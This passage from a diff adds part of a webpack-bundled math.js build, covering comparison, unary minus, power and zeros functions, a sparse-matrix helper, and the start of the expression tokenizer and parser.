complex numbers'); + }, + 'Unit, Unit': function UnitUnit(x, y) { + if (!x.equalBase(y)) { + throw new Error('Cannot compare units with different base'); + } + + return smaller(x.value, y.value); + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm07(x, y, smaller); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm03(y, x, smaller, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm03(x, y, smaller, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, smaller); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return smaller(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return smaller(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return smaller(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm12(x, y, smaller, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, smaller, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm12(y, x, smaller, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, smaller, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, smaller, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, smaller, true).valueOf(); + } + }); + smaller.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['smaller'], "${args[1]}\\right)") + }; + return smaller; +} + +exports.name = 'smaller'; +exports.factory = factory; + +/***/ }), +/* 39 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + /** + * Inverse the sign of a value, apply a unary minus operation. + * + * For matrices, the function is evaluated element wise. Boolean values and + * strings will be converted to a number. For complex numbers, both real and + * complex value are inverted. + * + * Syntax: + * + * math.unaryMinus(x) + * + * Examples: + * + * math.unaryMinus(3.5) // returns -3.5 + * math.unaryMinus(-4.2) // returns 4.2 + * + * See also: + * + * add, subtract, unaryPlus + * + * @param {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} x Number to be inverted. + * @return {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} Returns the value with inverted sign. + */ + + + var unaryMinus = typed('unaryMinus', { + 'number': function number(x) { + return -x; + }, + 'Complex': function Complex(x) { + return x.neg(); + }, + 'BigNumber': function BigNumber(x) { + return x.neg(); + }, + 'Fraction': function Fraction(x) { + return x.neg(); + }, + 'Unit': function Unit(x) { + var res = x.clone(); + res.value = unaryMinus(x.value); + return res; + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since unaryMinus(0) = 0 + return deepMap(x, unaryMinus, true); + } // TODO: add support for string + + }); + unaryMinus.toTex = { + 1: "".concat(latex.operators['unaryMinus'], "\\left(${args[0]}\\right)") + }; + return unaryMinus; +} + +exports.name = 'unaryMinus'; +exports.factory = factory; + +/***/ }), +/* 40 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var getType = load(__webpack_require__(26)); + /** + * Improve error messages for statistics functions. Errors are typically + * thrown in an internally used function like larger, causing the error + * not to mention the function (like max) which is actually used by the user. + * + * @param {Error} err + * @param {String} fnName + * @param {*} [value] + * @return {Error} + */ + + return function improveErrorMessage(err, fnName, value) { + // TODO: add information with the index (also needs transform in expression parser) + var details; + + if (String(err).indexOf('Unexpected type') !== -1) { + details = arguments.length > 2 ? ' (type: ' + getType(value) + ', value: ' + JSON.stringify(value) + ')' : ' (type: ' + err.data.actual + ')'; + return new TypeError('Cannot calculate ' + fnName + ', unexpected type of argument' + details); + } + + if (String(err).indexOf('complex numbers') !== -1) { + details = arguments.length > 2 ? ' (type: ' + getType(value) + ', value: ' + JSON.stringify(value) + ')' : ''; + return new TypeError('Cannot calculate ' + fnName + ', no ordering relation is defined for complex numbers' + details); + } + + return err; + }; +} + +exports.factory = factory; + +/***/ }), +/* 41 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var DenseMatrix = type.DenseMatrix; + /** + * Iterates over SparseMatrix S nonzero items and invokes the callback function f(Sij, b). + * Callback function invoked NZ times (number of nonzero items in S). + * + * + * ┌ f(Sij, b) ; S(i,j) !== 0 + * C(i,j) = ┤ + * └ b ; otherwise + * + * + * @param {Matrix} s The SparseMatrix instance (S) + * @param {Scalar} b The Scalar value + * @param {Function} callback The f(Aij,b) operation to invoke + * @param {boolean} inverse A true value indicates callback should be invoked f(b,Sij) + * + * @return {Matrix} DenseMatrix (C) + * + * https://github.com/josdejong/mathjs/pull/346#issuecomment-97626813 + */ + + var algorithm10 = function algorithm10(s, b, callback, inverse) { + // sparse matrix arrays + var avalues = s._values; + var aindex = s._index; + var aptr = s._ptr; + var asize = s._size; + var adt = s._datatype; // sparse matrix cannot be a Pattern matrix + + if (!avalues) { + throw new Error('Cannot perform operation on Pattern Sparse Matrix and Scalar value'); + } // rows & columns + + + var rows = asize[0]; + var columns = asize[1]; // datatype + + var dt; // callback signature to use + + var cf = callback; // process data types + + if (typeof adt === 'string') { + // datatype + dt = adt; // convert b to the same datatype + + b = typed.convert(b, dt); // callback + + cf = typed.find(callback, [dt, dt]); + } // result arrays + + + var cdata = []; // matrix + + var c = new DenseMatrix({ + data: cdata, + size: [rows, columns], + datatype: dt + }); // workspaces + + var x = []; // marks indicating we have a value in x for a given column + + var w = []; // loop columns + + for (var j = 0; j < columns; j++) { + // columns mark + var mark = j + 1; // values in j + + for (var k0 = aptr[j], k1 = aptr[j + 1], k = k0; k < k1; k++) { + // row + var r = aindex[k]; // update workspace + + x[r] = avalues[k]; + w[r] = mark; + } // loop rows + + + for (var i = 0; i < rows; i++) { + // initialize C on first column + if (j === 0) { + // create row array + cdata[i] = []; + } // check sparse matrix has a value @ i,j + + + if (w[i] === mark) { + // invoke callback, update C + cdata[i][j] = inverse ? cf(b, x[i]) : cf(x[i], b); + } else { + // dense matrix value @ i, j + cdata[i][j] = b; + } + } + } // return sparse matrix + + + return c; + }; + + return algorithm10; +} + +exports.name = 'algorithm10'; +exports.factory = factory; + +/***/ }), +/* 42 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +var size = __webpack_require__(2).size; + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + + var identity = load(__webpack_require__(50)); + var multiply = load(__webpack_require__(10)); + var matrix = load(__webpack_require__(0)); + var fraction = load(__webpack_require__(83)); + var number = load(__webpack_require__(64)); + /** + * Calculates the power of x to y, `x ^ y`. + * Matrix exponentiation is supported for square matrices `x`, and positive + * integer exponents `y`. + * + * For cubic roots of negative numbers, the function returns the principal + * root by default. In order to let the function return the real root, + * math.js can be configured with `math.config({predictable: true})`. + * To retrieve all cubic roots of a value, use `math.cbrt(x, true)`. + * + * Syntax: + * + * math.pow(x, y) + * + * Examples: + * + * math.pow(2, 3) // returns number 8 + * + * const a = math.complex(2, 3) + * math.pow(a, 2) // returns Complex -5 + 12i + * + * const b = [[1, 2], [4, 3]] + * math.pow(b, 2) // returns Array [[9, 8], [16, 17]] + * + * See also: + * + * multiply, sqrt, cbrt, nthRoot + * + * @param {number | BigNumber | Complex | Unit | Array | Matrix} x The base + * @param {number | BigNumber | Complex} y The exponent + * @return {number | BigNumber | Complex | Array | Matrix} The value of `x` to the power `y` + */ + + var pow = typed('pow', { + 'number, number': _pow, + 'Complex, Complex': function ComplexComplex(x, y) { + return x.pow(y); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + if (y.isInteger() || x >= 0 || config.predictable) { + return x.pow(y); + } else { + return new type.Complex(x.toNumber(), 0).pow(y.toNumber(), 0); + } + }, + 'Fraction, Fraction': function FractionFraction(x, y) { + if (y.d !== 1) { + if (config.predictable) { + throw new Error('Function pow does not support non-integer exponents for fractions.'); + } else { + return _pow(x.valueOf(), y.valueOf()); + } + } else { + return x.pow(y); + } + }, + 'Array, number': _powArray, + 'Array, BigNumber': function ArrayBigNumber(x, y) { + return _powArray(x, y.toNumber()); + }, + 'Matrix, number': _powMatrix, + 'Matrix, BigNumber': function MatrixBigNumber(x, y) { + return _powMatrix(x, y.toNumber()); + }, + 'Unit, number | BigNumber': function UnitNumberBigNumber(x, y) { + return x.pow(y); + } + }); + /** + * Calculates the power of x to y, x^y, for two numbers. + * @param {number} x + * @param {number} y + * @return {number | Complex} res + * @private + */ + + function _pow(x, y) { + // Alternatively could define a 'realmode' config option or something, but + // 'predictable' will work for now + if (config.predictable && !isInteger(y) && x < 0) { + // Check to see if y can be represented as a fraction + try { + var yFrac = fraction(y); + var yNum = number(yFrac); + + if (y === yNum || Math.abs((y - yNum) / y) < 1e-14) { + if (yFrac.d % 2 === 1) { + return (yFrac.n % 2 === 0 ? 1 : -1) * Math.pow(-x, y); + } + } + } catch (ex) {} // fraction() throws an error if y is Infinity, etc. + // Unable to express y as a fraction, so continue on + + } // x^Infinity === 0 if -1 < x < 1 + // A real number 0 is returned instead of complex(0) + + + if (x * x < 1 && y === Infinity || x * x > 1 && y === -Infinity) { + return 0; + } // **for predictable mode** x^Infinity === NaN if x < -1 + // N.B. this behavour is different from `Math.pow` which gives + // (-2)^Infinity === Infinity + + + if (config.predictable && (x < -1 && y === Infinity || x > -1 && x < 0 && y === -Infinity)) { + return NaN; + } + + if (isInteger(y) || x >= 0 || config.predictable) { + return Math.pow(x, y); + } else { + return new type.Complex(x, 0).pow(y, 0); + } + } + /** + * Calculate the power of a 2d array + * @param {Array} x must be a 2 dimensional, square matrix + * @param {number} y a positive, integer value + * @returns {Array} + * @private + */ + + + function _powArray(x, y) { + if (!isInteger(y) || y < 0) { + throw new TypeError('For A^b, b must be a positive integer (value is ' + y + ')'); + } // verify that A is a 2 dimensional square matrix + + + var s = size(x); + + if (s.length !== 2) { + throw new Error('For A^b, A must be 2 dimensional (A has ' + s.length + ' dimensions)'); + } + + if (s[0] !== s[1]) { + throw new Error('For A^b, A must be square (size is ' + s[0] + 'x' + s[1] + ')'); + } + + var res = identity(s[0]).valueOf(); + var px = x; + + while (y >= 1) { + if ((y & 1) === 1) { + res = multiply(px, res); + } + + y >>= 1; + px = multiply(px, px); + } + + return res; + } + /** + * Calculate the power of a 2d matrix + * @param {Matrix} x must be a 2 dimensional, square matrix + * @param {number} y a positive, integer value + * @returns {Matrix} + * @private + */ + + + function _powMatrix(x, y) { + return matrix(_powArray(x.valueOf(), y)); + } + + pow.toTex = { + 2: "\\left(${args[0]}\\right)".concat(latex.operators['pow'], "{${args[1]}}") + }; + return pow; +} + +exports.name = 'pow'; +exports.factory = factory; + +/***/ }), +/* 43 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +var resize = __webpack_require__(2).resize; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + /** + * Create a matrix filled with zeros. The created matrix can have one or + * multiple dimensions. + * + * Syntax: + * + * math.zeros(m) + * math.zeros(m, format) + * math.zeros(m, n) + * math.zeros(m, n, format) + * math.zeros([m, n]) + * math.zeros([m, n], format) + * + * Examples: + * + * math.zeros(3) // returns [0, 0, 0] + * math.zeros(3, 2) // returns [[0, 0], [0, 0], [0, 0]] + * math.zeros(3, 'dense') // returns [0, 0, 0] + * + * const A = [[1, 2, 3], [4, 5, 6]] + * math.zeros(math.size(A)) // returns [[0, 0, 0], [0, 0, 0]] + * + * See also: + * + * ones, identity, size, range + * + * @param {...number | Array} size The size of each dimension of the matrix + * @param {string} [format] The Matrix storage format + * + * @return {Array | Matrix} A matrix filled with zeros + */ + + var zeros = typed('zeros', { + '': function _() { + return config.matrix === 'Array' ? _zeros([]) : _zeros([], 'default'); + }, + // math.zeros(m, n, p, ..., format) + // TODO: more accurate signature '...number | BigNumber, string' as soon as typed-function supports this + '...number | BigNumber | string': function numberBigNumberString(size) { + var last = size[size.length - 1]; + + if (typeof last === 'string') { + var format = size.pop(); + return _zeros(size, format); + } else if (config.matrix === 'Array') { + return _zeros(size); + } else { + return _zeros(size, 'default'); + } + }, + 'Array': _zeros, + 'Matrix': function Matrix(size) { + var format = size.storage(); + return _zeros(size.valueOf(), format); + }, + 'Array | Matrix, string': function ArrayMatrixString(size, format) { + return _zeros(size.valueOf(), format); + } + }); + zeros.toTex = undefined; // use default template + + return zeros; + /** + * Create an Array or Matrix with zeros + * @param {Array} size + * @param {string} [format='default'] + * @return {Array | Matrix} + * @private + */ + + function _zeros(size, format) { + var hasBigNumbers = _normalize(size); + + var defaultValue = hasBigNumbers ? new type.BigNumber(0) : 0; + + _validate(size); + + if (format) { + // return a matrix + var m = matrix(format); + + if (size.length > 0) { + return m.resize(size, defaultValue); + } + + return m; + } else { + // return an Array + var arr = []; + + if (size.length > 0) { + return resize(arr, size, defaultValue); + } + + return arr; + } + } // replace BigNumbers with numbers, returns true if size contained BigNumbers + + + function _normalize(size) { + var hasBigNumbers = false; + size.forEach(function (value, index, arr) { + if (type.isBigNumber(value)) { + hasBigNumbers = true; + arr[index] = value.toNumber(); + } + }); + return hasBigNumbers; + } // validate arguments + + + function _validate(size) { + size.forEach(function (value) { + if (typeof value !== 'number' || !isInteger(value) || value < 0) { + throw new Error('Parameters in function zeros must be positive integers'); + } + }); + } +} // TODO: zeros contains almost the same code as ones. Reuse this? + + +exports.name = 'zeros'; +exports.factory = factory; + +/***/ }), +/* 44 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } + +var ArgumentsError = __webpack_require__(57); + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + var numeric = load(__webpack_require__(65)); + var AccessorNode = load(__webpack_require__(113)); + var ArrayNode = load(__webpack_require__(116)); + var AssignmentNode = load(__webpack_require__(117)); + var BlockNode = load(__webpack_require__(118)); + var ConditionalNode = load(__webpack_require__(119)); + var ConstantNode = load(__webpack_require__(58)); + var FunctionAssignmentNode = load(__webpack_require__(120)); + var IndexNode = load(__webpack_require__(121)); + var ObjectNode = load(__webpack_require__(122)); + var OperatorNode = load(__webpack_require__(59)); + var ParenthesisNode = load(__webpack_require__(68)); + var FunctionNode = load(__webpack_require__(69)); + var RangeNode = load(__webpack_require__(123)); + var RelationalNode = load(__webpack_require__(124)); + var SymbolNode = load(__webpack_require__(54)); + /** + * Parse an expression. Returns a node tree, which can be evaluated by + * invoking node.eval(). + * + * Syntax: + * + * parse(expr) + * parse(expr, options) + * parse([expr1, expr2, expr3, ...]) + * parse([expr1, expr2, expr3, ...], options) + * + * Example: + * + * const node = parse('sqrt(3^2 + 4^2)') + * node.compile(math).eval() // 5 + * + * let scope = {a:3, b:4} + * const node = parse('a * b') // 12 + * const code = node.compile(math) + * code.eval(scope) // 12 + * scope.a = 5 + * code.eval(scope) // 20 + * + * const nodes = math.parse(['a = 3', 'b = 4', 'a * b']) + * nodes[2].compile(math).eval() // 12 + * + * @param {string | string[] | Matrix} expr + * @param {{nodes: Object}} [options] Available options: + * - `nodes` a set of custom nodes + * @return {Node | Node[]} node + * @throws {Error} + */ + + function parse(expr, options) { + if (arguments.length !== 1 && arguments.length !== 2) { + throw new ArgumentsError('parse', arguments.length, 1, 2); + } // pass extra nodes + + + var extraNodes = options && options.nodes ? options.nodes : {}; + + if (typeof expr === 'string') { + // parse a single expression + return parseStart(expr, extraNodes); + } else if (Array.isArray(expr) || expr instanceof type.Matrix) { + // parse an array or matrix with expressions + return deepMap(expr, function (elem) { + if (typeof elem !== 'string') throw new TypeError('String expected'); + return parseStart(elem, extraNodes); + }); + } else { + // oops + throw new TypeError('String or matrix expected'); + } + } // token types enumeration + + + var TOKENTYPE = { + NULL: 0, + DELIMITER: 1, + NUMBER: 2, + SYMBOL: 3, + UNKNOWN: 4 // map with all delimiters + + }; + var DELIMITERS = { + ',': true, + '(': true, + ')': true, + '[': true, + ']': true, + '{': true, + '}': true, + '"': true, + '\'': true, + ';': true, + '+': true, + '-': true, + '*': true, + '.*': true, + '/': true, + './': true, + '%': true, + '^': true, + '.^': true, + '~': true, + '!': true, + '&': true, + '|': true, + '^|': true, + '=': true, + ':': true, + '?': true, + '==': true, + '!=': true, + '<': true, + '>': true, + '<=': true, + '>=': true, + '<<': true, + '>>': true, + '>>>': true // map with all named delimiters + + }; + var NAMED_DELIMITERS = { + 'mod': true, + 'to': true, + 'in': true, + 'and': true, + 'xor': true, + 'or': true, + 'not': true + }; + var CONSTANTS = { + 'true': true, + 'false': false, + 'null': null, + 'undefined': undefined + }; + var NUMERIC_CONSTANTS = ['NaN', 'Infinity']; + + function initialState() { + return { + extraNodes: {}, + // current extra nodes, must be careful not to mutate + expression: '', + // current expression + comment: '', + // last parsed comment + index: 0, + // current index in expr + token: '', + // current token + tokenType: TOKENTYPE.NULL, + // type of the token + nestingLevel: 0, + // level of nesting inside parameters, used to ignore newline characters + conditionalLevel: null // when a conditional is being parsed, the level of the conditional is stored here + + }; + } + /** + * View upto `length` characters of the expression starting at the current character. + * + * @param {State} state + * @param {number} [length=1] Number of characters to view + * @returns {string} + * @private + */ + + + function currentString(state, length) { + return state.expression.substr(state.index, length); + } + /** + * View the current character. Returns '' if end of expression is reached. + * + * @param {State} state + * @returns {string} + * @private + */ + + + function currentCharacter(state) { + return currentString(state, 1); + } + /** + * Get the next character from the expression. + * The character is stored into the char c. If the end of the expression is + * reached, the function puts an empty string in c. + * @private + */ + + + function next(state) { + state.index++; + } + /** + * Preview the previous character from the expression. + * @return {string} cNext + * @private + */ + + + function prevCharacter(state) { + return state.expression.charAt(state.index - 1); + } + /** + * Preview the next character from the expression. + * @return {string} cNext + * @private + */ + + + function nextCharacter(state) { + return state.expression.charAt(state.index + 1); + } + /** + * Get next token in the current string expr. + * The token and token type are available as token and tokenType + * @private + */ + + + function getToken(state) { + state.tokenType = TOKENTYPE.NULL; + state.token = ''; + state.comment = ''; // skip over whitespaces + // space, tab, and newline when inside parameters + + while (parse.isWhitespace(currentCharacter(state), state.nestingLevel)) { + next(state); + } // skip comment + + + if (currentCharacter(state) === '#') { + while (currentCharacter(state) !== '\n' && currentCharacter(state) !== '') { + state.comment += currentCharacter(state); + next(state); + } + } // check for end of expression + + + if (currentCharacter(state) === '') { + // token is still empty + state.tokenType = TOKENTYPE.DELIMITER; + return; + } // check for new line character + + + if (currentCharacter(state) === '\n' && !state.nestingLevel) { + state.tokenType = TOKENTYPE.DELIMITER; + state.token = currentCharacter(state); + next(state); + return; + } + + var c1 = currentCharacter(state); + var c2 = currentString(state, 2); + var c3 = currentString(state, 3); + + if (c3.length === 3 && DELIMITERS[c3]) { + state.tokenType = TOKENTYPE.DELIMITER; + state.token = c3; + next(state); + next(state); + next(state); + return; + } // check for delimiters consisting of 2 characters + + + if (c2.length === 2 && DELIMITERS[c2]) { + state.tokenType = TOKENTYPE.DELIMITER; + state.token = c2; + next(state); + next(state); + return; + } // check for delimiters consisting of 1 character + + + if (DELIMITERS[c1]) { + state.tokenType = TOKENTYPE.DELIMITER; + state.token = c1; + next(state); + return; + } // check for a number + + + if (parse.isDigitDot(c1)) { + state.tokenType = TOKENTYPE.NUMBER; // get number, can have a single dot + + if (currentCharacter(state) === '.') { + state.token += currentCharacter(state); + next(state); + + if (!parse.isDigit(currentCharacter(state))) { + // this is no number, it is just a dot (can be dot notation) + state.tokenType = TOKENTYPE.DELIMITER; + } + } else { + while (parse.isDigit(currentCharacter(state))) { + state.token += currentCharacter(state); + next(state); + } + + if (parse.isDecimalMark(currentCharacter(state), nextCharacter(state))) { + state.token += currentCharacter(state); + next(state); + } + } + + while (parse.isDigit(currentCharacter(state))) { + state.token += currentCharacter(state); + next(state); + } // check for exponential notation like "2.3e-4", "1.23e50" or "2e+4" + + + if (currentCharacter(state) === 'E' || currentCharacter(state) === 'e') { + if (parse.isDigit(nextCharacter(state)) || nextCharacter(state) === '-' || nextCharacter(state) === '+') { + state.token += currentCharacter(state); + next(state); + + if (currentCharacter(state) === '+' || currentCharacter(state) === '-') { + state.token += currentCharacter(state); + next(state); + } // Scientific notation MUST be followed by an exponent + + + if (!parse.isDigit(currentCharacter(state))) { + throw createSyntaxError(state, 'Digit expected, got "' + currentCharacter(state) + '"'); + } + + while (parse.isDigit(currentCharacter(state))) { + state.token += currentCharacter(state); + next(state); + } + + if (parse.isDecimalMark(currentCharacter(state), nextCharacter(state))) { + throw createSyntaxError(state, 'Digit expected, got "' + currentCharacter(state) + '"'); + } + } else if (nextCharacter(state) === '.') { + next(state); + throw createSyntaxError(state, 'Digit expected, got "' + currentCharacter(state) + '"'); + } + } + + return; + } // check for variables, functions, named operators + + + if (parse.isAlpha(currentCharacter(state), prevCharacter(state), nextCharacter(state))) { + while (parse.isAlpha(currentCharacter(state), prevCharacter(state), nextCharacter(state)) || parse.isDigit(currentCharacter(state))) { + state.token += currentCharacter(state); + next(state); + } + + if (NAMED_DELIMITERS.hasOwnProperty(state.token)) { + state.tokenType = TOKENTYPE.DELIMITER; + } else { + state.tokenType = TOKENTYPE.SYMBOL; + } + + return; + } // something unknown is found, wrong characters -> a syntax error + + + state.tokenType = TOKENTYPE.UNKNOWN; + + while (currentCharacter(state) !== '') { + state.token += currentCharacter(state); + next(state); + } + + throw createSyntaxError(state, 'Syntax error in part "' + state.token + '"'); + } + /** + * Get next token and skip newline tokens + */ + + + function getTokenSkipNewline(state) { + do { + getToken(state); + } while (state.token === '\n'); // eslint-disable-line no-unmodified-loop-condition + + } + /** + * Open parameters. + * New line characters will be ignored until closeParams(state) is called + */ + + + function openParams(state) { + state.nestingLevel++; + } + /** + * Close parameters. + * New line characters will no longer be ignored + */ + + + function closeParams(state) { + state.nestingLevel--; + } + /** + * Checks whether the current character `c` is a valid alpha character: + * + * - A latin letter (upper or lower case) Ascii: a-z, A-Z + * - An underscore Ascii: _ + * - A dollar sign Ascii: $ + * - A latin letter with accents Unicode: \u00C0 - \u02AF + * - A greek letter Unicode: \u0370 - \u03FF + * - A mathematical alphanumeric symbol Unicode: \u{1D400} - \u{1D7FF} excluding invalid code points + * + * The previous and next characters are needed to determine whether + * this character is part of a unicode surrogate pair. + * + * @param {string} c Current character in the expression + * @param {string} cPrev Previous character + * @param {string} cNext Next character + * @return {boolean} + */ + + + parse.isAlpha = function isAlpha(c, cPrev, cNext) { + return parse.isValidLatinOrGreek(c) || parse.isValidMathSymbol(c, cNext) || parse.isValidMathSymbol(cPrev, c); + }; + /** + * Test whether a character is a valid latin, greek, or letter-like character + * @param {string} c + * @return {boolean} + */ + + + parse.isValidLatinOrGreek = function isValidLatinOrGreek(c) { + return /^[a-zA-Z_$\u00C0-\u02AF\u0370-\u03FF\u2100-\u214F]$/.test(c); + }; + /** + * Test whether two given 16 bit characters form a surrogate pair of a + * unicode math symbol. + * + * https://unicode-table.com/en/ + * https://www.wikiwand.com/en/Mathematical_operators_and_symbols_in_Unicode + * + * Note: In ES6 will be unicode aware: + * https://stackoverflow.com/questions/280712/javascript-unicode-regexes + * https://mathiasbynens.be/notes/es6-unicode-regex + * + * @param {string} high + * @param {string} low + * @return {boolean} + */ + + + parse.isValidMathSymbol = function isValidMathSymbol(high, low) { + return /^[\uD835]$/.test(high) && /^[\uDC00-\uDFFF]$/.test(low) && /^[^\uDC55\uDC9D\uDCA0\uDCA1\uDCA3\uDCA4\uDCA7\uDCA8\uDCAD\uDCBA\uDCBC\uDCC4\uDD06\uDD0B\uDD0C\uDD15\uDD1D\uDD3A\uDD3F\uDD45\uDD47-\uDD49\uDD51\uDEA6\uDEA7\uDFCC\uDFCD]$/.test(low); + }; + /** + * Check whether given character c is a white space character: space, tab, or enter + * @param {string} c + * @param {number} nestingLevel + * @return {boolean} + */ + + + parse.isWhitespace = function isWhitespace(c, nestingLevel) { + // TODO: also take '\r' carriage return as newline? Or does that give problems on mac? + return c === ' ' || c === '\t' || c === '\n' && nestingLevel > 0; + }; + /** + * Test whether the character c is a decimal mark (dot). + * This is the case when it's not the start of a delimiter '.*', './', or '.^' + * @param {string} c + * @param {string} cNext + * @return {boolean} + */ + + + parse.isDecimalMark = function isDecimalMark(c, cNext) { + return c === '.' && cNext !== '/' && cNext !== '*' && cNext !== '^'; + }; + /** + * checks if the given char c is a digit or dot + * @param {string} c a string with one character + * @return {boolean} + */ + + + parse.isDigitDot = function isDigitDot(c) { + return c >= '0' && c <= '9' || c === '.'; + }; + /** + * checks if the given char c is a digit + * @param {string} c a string with one character + * @return {boolean} + */ + + + parse.isDigit = function isDigit(c) { + return c >= '0' && c <= '9'; + }; + /** + * Start of the parse levels below, in order of precedence + * @return {Node} node + * @private + */ + + + function parseStart(expression, extraNodes) { + var state = initialState(); + + _extends(state, { + expression: expression, + extraNodes: extraNodes + }); + + getToken(state); + var node = parseBlock(state); // check for garbage at the end of the expression + // an expression ends with a empty character '' and tokenType DELIMITER + + if (state.token !== '') { + if (state.tokenType === TOKENTYPE.DELIMITER) { + // user entered a not existing operator like "//" + // TODO: give hints for aliases, for example with "<>" give as hint " did you mean !== ?" + throw createError(state, 'Unexpected operator ' + state.token); + } else { + throw createSyntaxError(state, 'Unexpected part "' + state.token + '"'); + } + } + + return node; + } + /** + * Parse a block with expressions. Expressions can be separated by a newline + * character '\n', or by a semicolon ';'. In case of a semicolon, no output + * of the preceding line is returned. + * @return {Node} node + * @private + */ + + + function parseBlock(state) { + var node; + var blocks = []; + var visible; + + if (state.token !== '' && state.token !== '\n' && state.token !== ';') { + node = parseAssignment(state); + node.comment = state.comment; + } // TODO: simplify this loop + + + while (state.token === '\n' || state.token === ';') { + // eslint-disable-line no-unmodified-loop-condition + if (blocks.length === 0 && node) { + visible = state.token !== ';'; + blocks.push({ + node: node, + visible: visible + }); + } + + getToken(state); + + if (state.token !== '\n' && state.token !== ';' && state.token !== '') { + node = parseAssignment(state); + node.comment = state.comment; + visible = state.token !== ';'; + blocks.push({ + node: node, + visible: visible + }); + } + } + + if (blocks.length > 0) { + return new BlockNode(blocks); + } else { + if (!node) { + node = new ConstantNode(undefined); + node.comment = state.comment; + } + + return node; + } + } + /** + * Assignment of a function or variable, + * - can be a variable like 'a=2.3' + * - or a updating an existing variable like 'matrix(2,3:5)=[6,7,8]' + * - defining a function like 'f(x) = x^2' + * @return {Node} node + * @private + */ + + + function parseAssignment(state) { + var name, args, value, valid; + var node = parseConditional(state); + + if (state.token === '=') { + if (type.isSymbolNode(node)) { + // parse a variable assignment like 'a = 2/3' + name = node.name; + getTokenSkipNewline(state); + value = parseAssignment(state); + return new AssignmentNode(new SymbolNode(name), value); + } else if (type.isAccessorNode(node)) { + // parse a matrix subset assignment like 'A[1,2] = 4' + getTokenSkipNewline(state); + value = parseAssignment(state); + return new AssignmentNode(node.object, node.index, value); + } else if (type.isFunctionNode(node) && type.isSymbolNode(node.fn)) { + // parse function assignment like 'f(x) = x^2' + valid = true; + args = []; + name = node.name; + node.args.forEach(function (arg, index) { + if (type.isSymbolNode(arg)) { + args[index] = arg.name; + } else { + valid = false; + } + }); + + if (valid) { + getTokenSkipNewline(state); + value = parseAssignment(state); + return new FunctionAssignmentNode(name, args, value); + } + } + + throw createSyntaxError(state, 'Invalid left hand side of assignment operator ='); + } + + return node; + } + /** + * conditional operation + * + * condition ? truePart : falsePart + * + * Note: conditional operator is right-associative + * + * @return {Node} node + * @private + */ + + + function parseConditional(state) { + var node = parseLogicalOr(state); + + while (state.token === '?') { + // eslint-disable-line no-unmodified-loop-condition + // set a conditional level, the range operator will be ignored as long + // as conditionalLevel === state.nestingLevel. + var prev = state.conditionalLevel; + state.conditionalLevel = state.nestingLevel; + getTokenSkipNewline(state); + var condition = node; + var trueExpr = parseAssignment(state); + if (state.token !== ':') throw createSyntaxError(state, 'False part of conditional expression expected'); + state.conditionalLevel = null; + getTokenSkipNewline(state); + var falseExpr = parseAssignment(state); // Note: check for conditional operator again, right associativity + + node = new ConditionalNode(condition, trueExpr, falseExpr); // restore the previous conditional level + + state.conditionalLevel = prev; + } + + return node; + } + /** + * logical or, 'x or y' + * @return {Node} node + * @private + */ + + + function parseLogicalOr(state) { + var node = parseLogicalXor(state); + + while (state.token === 'or') { + // eslint-disable-line no-unmodified-loop-condition + getTokenSkipNewline(state); + node = new OperatorNode('or', 'or', [node, parseLogicalXor(state)]); + } + + return node; + } + /** + * logical exclusive or, 'x xor y' + * @return {Node} node + * @private + */ + + + function parseLogicalXor(state) { + var node = parseLogicalAnd(state); + + while (state.token === 'xor') { + // eslint-disable-line no-unmodified-loop-condition + getTokenSkipNewline(state); + node = new OperatorNode('xor', 'xor', [node, parseLogicalAnd(state)]); + } + + return node; + } + /** + * logical and, 'x and y' + * @return {Node} node + * @private + */ + + + function parseLogicalAnd(state) { + var node = parseBitwiseOr(state); + + while (state.token === 'and') { + // eslint-disable-line no-unmodified-loop-condition + getTokenSkipNewline(state); + node = new OperatorNode('and', 'and', [node, parseBitwiseOr(state)]); + } + + return node; + } + /** + * bitwise or, 'x | y' + * @return {Node} node + * @private + */ + + + function parseBitwiseOr(state) { + var node = parseBitwiseXor(state); + + while (state.token === '|') { + // eslint-disable-line no-unmodified-loop-condition + getTokenSkipNewline(state); + node = new OperatorNode('|', 'bitOr', [node, parseBitwiseXor(state)]); + } + + 